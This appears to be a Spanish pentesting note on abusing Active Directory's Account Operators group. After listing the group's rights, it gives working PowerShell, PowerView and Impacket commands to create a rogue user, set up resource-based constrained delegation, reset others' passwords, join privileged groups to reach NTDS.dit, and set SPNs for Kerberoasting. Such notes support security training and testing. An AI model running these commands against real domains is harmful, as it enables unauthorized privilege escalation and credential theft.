Account Operators

Es un grupo incorporado de Active Directory pensado para delegar la gestión de cuentas de usuarios y grupos estándar, sin dar acceso completo de administración del dominio.

net group "Account Operators" /domain

O desde PowerView:

Get-NetGroupMember -GroupName "Account Operators"
Privilegios del grupo

Por defecto, los miembros de Account Operators pueden:

  • Crear, modificar y eliminar cuentas de usuarios en los siguientes contenedores:

    • CN=Users
    • CN=Computers
  • Agregar usuarios a grupos locales (¡no de dominio!)

  • Leer y escribir muchos atributos de cuentas de usuario (como userAccountControl, description, etc.)
  • Resetear contraseñas de cuentas que no sean administradores.

No pueden tocar:

  • Miembros de grupos protegidos (ej: Domain Admins, Administrators, Enterprise Admins, etc.)
  • Atributos “sensibles” como adminCount = 1 (si está bien protegido)
  • Cuentas fuera del scope delegado (como en OUs personalizadas)
Explotación
Ejemplo 1 – Crear un usuario + agregarlo a RBCD
  1. Crear un usuario
New-ADUser -Name "hacker" -SamAccountName hacker -AccountPassword (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force) -Enabled $true
  1. Crear un equipo falso (computer account)

    (Esto requiere que MachineAccountQuota esté > 0, o que tengamos permisos)

addcomputer.py -method SAMR -computer-name FAKEPC -computer-pass P@ss1234 -dc-ip 10.10.10.1 CORP.local/eviluser:P@ssw0rd123
  1. Configurar RBCD en un equipo objetivo (si tenemos WriteDACL sobre él)

    O con PowerView (desde Windows):

Set-ADComputer TargetHost -PrincipalsAllowedToDelegateToAccount FAKEPC$
  1. Hacer impersonación y obtener acceso al target
Ejemplo 2 - Cambiar la contraseña de otra cuenta

Si encontramos un usuario sin adminCount y dentro del scope de Account Operators:

Set-ADAccountPassword -Identity tyrell.wellick -Reset -NewPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
Ejemplo 3 – Agregar usuario a un grupo importante

Si tenemos WriteProperty o GenericAll sobre un grupo importante como “Server Operators” o “Backup Operators”, podemos agregarnos.

Add-ADGroupMember -Identity 'Server Operators' -Members hacker

Desde aquí, podemos abusar del grupo (como Backup Operators para leer SAM/NTDS.dit).

Ejemplo 4 - Asignar SPN a un usuario - Kerberoasting
Import-module .\PowerView.ps1
Set-DomainObject -Identity tyrell.wellick -SET @{serviceprincipalname='nonexistent/FAKE'}